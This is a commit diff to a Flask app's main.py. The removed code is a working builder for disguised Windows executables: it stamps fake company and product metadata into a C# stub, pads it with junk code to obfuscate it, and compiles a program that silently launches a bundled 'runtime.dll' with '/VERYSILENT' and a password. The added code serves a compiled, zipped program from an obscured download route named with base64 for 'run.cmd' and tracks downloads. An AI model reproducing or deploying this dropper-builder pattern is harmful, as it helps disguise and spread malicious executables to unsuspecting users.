sigyllly commited on
Commit
a324286
·
verified ·
1 Parent(s): 962e9e0

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +142 -159
main.py CHANGED
@@ -1,179 +1,162 @@
 
1
  import os
2
- import random
3
- import string
4
  import subprocess
5
- from flask import Flask, render_template_string, send_file
 
 
 
6
 
7
  app = Flask(__name__)
8
 
9
- # Step 1: Define the base C# template without AssemblyCulture
10
- base_cs_template = """
11
- using System;
12
- using System.Diagnostics;
13
- using System.IO;
14
- using System.Reflection;
 
 
 
 
 
 
15
 
16
- [assembly: AssemblyTitle("<<title>>")]
17
- [assembly: AssemblyDescription("<<description>>")]
18
- [assembly: AssemblyConfiguration("<<configuration>>")]
19
- [assembly: AssemblyCompany("<<company>>")]
20
- [assembly: AssemblyProduct("<<product>>")]
21
- [assembly: AssemblyCopyright("<<copyright>>")]
22
- [assembly: AssemblyTrademark("<<trademark>>")]
23
- [assembly: AssemblyVersion("<<version>>")]
24
- [assembly: AssemblyFileVersion("<<file_version>>")]
25
- [assembly: AssemblyInformationalVersion("<<informational_version>>")]
26
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
27
  class Program
28
  {
29
  static void Main()
30
  {
31
- string originalFilePath = Path.Combine(Directory.GetCurrentDirectory(), "runtime.dll");
32
-
33
- if (File.Exists(originalFilePath))
34
- {
35
- <<control_flow_junk>>
36
- Process.Start(new ProcessStartInfo(originalFilePath, "/VERYSILENT /PASSWORD=YourSecurePassword") { UseShellExecute = false });
37
- <<additional_obfuscated_code>>
38
- Environment.Exit(0); // Exit immediately
39
- }
40
  }
41
-
42
- <<obfuscated_methods>>
43
  }
44
- """
45
-
46
- # Utility functions to generate random text and versions
47
- def random_string(length):
48
- return ''.join(random.choice(string.ascii_letters) for _ in range(length))
49
-
50
- def random_version():
51
- major = random.randint(1, 5)
52
- minor = random.randint(0, 9)
53
- build = random.randint(0, 99)
54
- revision = random.randint(0, 99)
55
- return f"{major}.{minor}.{build}.{revision}"
56
-
57
- # Lists of meaningful words for assembly info
58
- titles = ['File Manager', 'Data Analyzer', 'Task Tracker', 'Cloud Backup', 'Image Editor', 'Video Converter']
59
- descriptions = ['This application helps in managing files efficiently.', 'Analyze data with advanced algorithms and insights.', 'Keep track of your tasks and deadlines easily.', 'Backup your data securely to the cloud.', 'Edit your images with powerful tools and filters.', 'Convert videos to various formats quickly.']
60
- companies = ['Tech Innovations', 'Global Solutions', 'Data Services', 'Creative Minds', 'Secure Systems', 'Future Technologies']
61
- trademarks = ['Innovative Solutions', 'Smart Technology', 'NextGen Apps', 'Empowering Users', 'Reliable Services', 'Creative Design']
62
-
63
- def generate_control_flow_junk():
64
- conditions = [
65
- "if (DateTime.Now.Day % 2 == 0) { Console.WriteLine(\"Even day\"); }",
66
- "for (int i = 0; i < 1; i++) { Console.WriteLine(\"Loop once\"); }",
67
- "if (false) { Console.WriteLine(\"This will never happen\"); }",
68
- "while (false) { break; }"
69
- ]
70
- return random.choice(conditions)
71
-
72
- def generate_obfuscated_methods():
73
- methods = [
74
- f'void {random_string(6)}() {{ Console.WriteLine("{random_string(10)}"); }}',
75
- f'int {random_string(6)}() {{ return {random.randint(0, 100)}; }}',
76
- f'bool {random_string(6)}() {{ return {random.choice([True, False])}; }}',
77
- f'string {random_string(6)}() {{ return "{random_string(12)}"; }}'
78
- ]
79
- return "\n ".join(random.sample(methods, k=2))
80
-
81
- def generate_additional_obfuscated_code():
82
- snippets = [
83
- "#pragma warning disable CS0219\nint unused = 123;\n#pragma warning restore CS0219",
84
- "string dummy = \"abc\";",
85
- "Console.WriteLine(\"Executing...\");"
86
- ]
87
- return random.choice(snippets)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
88
 
89
- # Route to display the button and trigger C# script generation
90
  @app.route('/')
91
- def index():
92
- # HTML embedded directly in the app using render_template_string
93
- html_content = """
94
- <!DOCTYPE html>
95
- <html lang="en">
96
- <head>
97
- <meta charset="UTF-8">
98
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
99
- <title>Script Generator</title>
100
- </head>
101
- <body>
102
- <h1>Generate and Compile C# Script</h1>
103
- <form action="/generate" method="post">
104
- <button type="submit">Generate & Compile</button>
105
- </form>
106
- </body>
107
- </html>
108
  """
109
- return render_template_string(html_content)
110
-
111
-
112
- # Other existing code remains unchanged...
113
-
114
- @app.route('/generate', methods=['POST'])
115
- def generate_script():
116
- # Generate the randomized assembly information using meaningful words
117
- assembly_info = {
118
- 'title': random.choice(titles),
119
- 'description': random.choice(descriptions),
120
- 'configuration': '',
121
- 'company': random.choice(companies),
122
- 'product': "MyProduct",
123
- 'copyright': f"Copyright © {random.choice(companies)} 2024",
124
- 'trademark': random.choice(trademarks),
125
- 'version': random_version(),
126
- 'file_version': random_version(),
127
- 'informational_version': random_version()
128
- }
129
-
130
- # Replace placeholders in the base template
131
- modified_cs = base_cs_template.replace('<<title>>', assembly_info['title']) \
132
- .replace('<<description>>', assembly_info['description']) \
133
- .replace('<<configuration>>', assembly_info['configuration']) \
134
- .replace('<<company>>', assembly_info['company']) \
135
- .replace('<<product>>', assembly_info['product']) \
136
- .replace('<<copyright>>', assembly_info['copyright']) \
137
- .replace('<<trademark>>', assembly_info['trademark']) \
138
- .replace('<<version>>', assembly_info['version']) \
139
- .replace('<<file_version>>', assembly_info['file_version']) \
140
- .replace('<<informational_version>>', assembly_info['informational_version']) \
141
- .replace('<<control_flow_junk>>', generate_control_flow_junk()) \
142
- .replace('<<additional_obfuscated_code>>', generate_additional_obfuscated_code()) \
143
- .replace('<<obfuscated_methods>>', generate_obfuscated_methods())
144
-
145
- # Generate random file names for the script and executable
146
- script_name = random_string(10) + '.cs' # Random name for the C# script
147
- exe_name = random_string(10) + '.exe' # Random name for the executable
148
-
149
- # Save the modified C# script to a file
150
- with open(script_name, 'w') as file:
151
- file.write(modified_cs)
152
-
153
- # Use 'csc' compiler (Roslyn) with the right path
154
- compile_command = [
155
- '/usr/local/roslyn/Microsoft.Net.Compilers.4.0.1/tools/csc', # Full path to Roslyn's csc
156
- '-target:winexe',
157
- '-out:' + exe_name,
158
- script_name,
159
- '-win32icon:app.ico',
160
- '-win32manifest:app.manifest'
161
- ]
162
-
163
- # Run the compilation command
164
- try:
165
- result = subprocess.run(compile_command, capture_output=True, text=True, check=True)
166
- except subprocess.CalledProcessError as e:
167
- error_message = e.stderr.strip() # Capture the standard error output
168
- return f"Compilation failed: {error_message}", 500
169
- except FileNotFoundError:
170
- return "Compiler 'csc' not found. Make sure it is installed and in the PATH.", 500
171
-
172
- # Provide a link to download the compiled executable
173
- return send_file(exe_name, as_attachment=True)
174
-
175
 
176
- # Start the Flask app
177
  if __name__ == '__main__':
 
 
 
 
178
  app.run(host='0.0.0.0', port=7860, debug=True)
179
 
 
1
+ from flask import Flask, send_file, jsonify
2
  import os
 
 
3
  import subprocess
4
+ import json
5
+ from datetime import datetime
6
+ from pathlib import Path
7
+ from threading import Thread
8
 
9
  app = Flask(__name__)
10
 
11
+ # Configuration
12
+ UPLOAD_FOLDER = "uploads"
13
+ COMPILE_FOLDER = "compile"
14
+ STATS_FILE = "download_stats.json"
15
+ os.makedirs(UPLOAD_FOLDER, exist_ok=True)
16
+ os.makedirs(COMPILE_FOLDER, exist_ok=True)
17
+
18
+ def load_stats():
19
+ if os.path.exists(STATS_FILE):
20
+ with open(STATS_FILE, 'r') as f:
21
+ return json.load(f)
22
+ return {"downloads": 0, "last_download": None}
23
 
24
+ def save_stats(stats):
25
+ with open(STATS_FILE, 'w') as f:
26
+ json.dump(stats, f)
 
 
 
 
 
 
 
27
 
28
+ def compile_and_zip():
29
+ try:
30
+ # Generate unique names
31
+ timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
32
+ cs_filename = f"script_{timestamp}.cs"
33
+ exe_filename = f"script_{timestamp}.exe"
34
+ zip_filename = f"output_{timestamp}.zip"
35
+
36
+ # Full paths
37
+ cs_path = os.path.join(COMPILE_FOLDER, cs_filename)
38
+ exe_path = os.path.join(COMPILE_FOLDER, exe_filename)
39
+ zip_path = os.path.join(UPLOAD_FOLDER, zip_filename)
40
+
41
+ # Write C# source
42
+ with open(cs_path, 'w') as f:
43
+ f.write("""
44
+ using System;
45
  class Program
46
  {
47
  static void Main()
48
  {
49
+ Console.WriteLine("Compiled C# Application");
50
+ Console.WriteLine("Generated at: {0}", DateTime.Now.ToString());
51
+ Console.WriteLine("Press any key to exit...");
52
+ Console.ReadKey();
 
 
 
 
 
53
  }
 
 
54
  }
55
+ """)
56
+
57
+ # Compile with mcs
58
+ compile_cmd = [
59
+ "mcs",
60
+ '-optimize+',
61
+ '-out:' + exe_path,
62
+ cs_path
63
+ ]
64
+
65
+ compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
66
+ if compile_result.returncode != 0:
67
+ print(f"Compile error: {compile_result.stderr}")
68
+ return None
69
+
70
+ # Create ZIP
71
+ zip_cmd = ['zip', '-j', zip_path, exe_path]
72
+ zip_result = subprocess.run(zip_cmd, capture_output=True, text=True)
73
+ if zip_result.returncode != 0:
74
+ print(f"ZIP error: {zip_result.stderr}")
75
+ return None
76
+
77
+ # Cleanup temporary files
78
+ try:
79
+ os.remove(cs_path)
80
+ os.remove(exe_path)
81
+ except Exception as e:
82
+ print(f"Cleanup error: {e}")
83
+
84
+ # Remove old ZIP files
85
+ for old_file in Path(UPLOAD_FOLDER).glob('*.zip'):
86
+ if old_file != Path(zip_path):
87
+ try:
88
+ os.remove(old_file)
89
+ except:
90
+ pass
91
+
92
+ return zip_path
93
+
94
+ except Exception as e:
95
+ print(f"Error: {str(e)}")
96
+ return None
97
+
98
+ def get_current_zip():
99
+ """Get the current ZIP file or create one if none exists"""
100
+ files = list(Path(UPLOAD_FOLDER).glob('*.zip'))
101
+ if not files:
102
+ return compile_and_zip()
103
+ return str(max(files, key=os.path.getctime))
104
+
105
+ def compile_in_background():
106
+ """Trigger compilation in a separate thread to avoid blocking the main app."""
107
+ Thread(target=compile_and_zip).start()
108
+
109
+ @app.route('/download/cnVuLmNtZA==')
110
+ def download_file():
111
+ stats = load_stats()
112
+
113
+ # Get current ZIP file
114
+ file_path = get_current_zip()
115
+ if not file_path:
116
+ return "Compilation failed", 500
117
+
118
+ if not os.path.exists(file_path):
119
+ return "File not found", 404
120
+
121
+ # Send the file
122
+ response = send_file(file_path, as_attachment=True)
123
+
124
+ def after_request(response):
125
+ # Update the download stats after the file has been sent
126
+ stats['downloads'] += 1
127
+ stats['last_download'] = datetime.now().isoformat()
128
+ save_stats(stats)
129
+
130
+ # Compile the new ZIP file in the background
131
+ compile_in_background()
132
+
133
+ return response
134
+
135
+ response = after_request(response)
136
+ return response
137
+
138
+ @app.route('/show')
139
+ def show_stats():
140
+ stats = load_stats()
141
+ return jsonify({
142
+ "total_downloads": stats['downloads'],
143
+ "last_download": stats['last_download']
144
+ })
145
 
 
146
  @app.route('/')
147
+ def home():
148
+ return """
149
+ <h1>File Compiler Service</h1>
150
+ <ul>
151
+ <li><a href="/download/cnVuLmNtZA==">/download/cnVuLmNtZA==</a> - Download compiled file</li>
152
+ <li><a href="/show">/show</a> - View download statistics</li>
153
+ </ul>
 
 
 
 
 
 
 
 
 
 
154
  """
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
155
 
 
156
  if __name__ == '__main__':
157
+ # Only compile if no ZIP exists
158
+ if not list(Path(UPLOAD_FOLDER).glob('*.zip')):
159
+ print("No existing ZIP file found, creating initial file...")
160
+ compile_and_zip()
161
  app.run(host='0.0.0.0', port=7860, debug=True)
162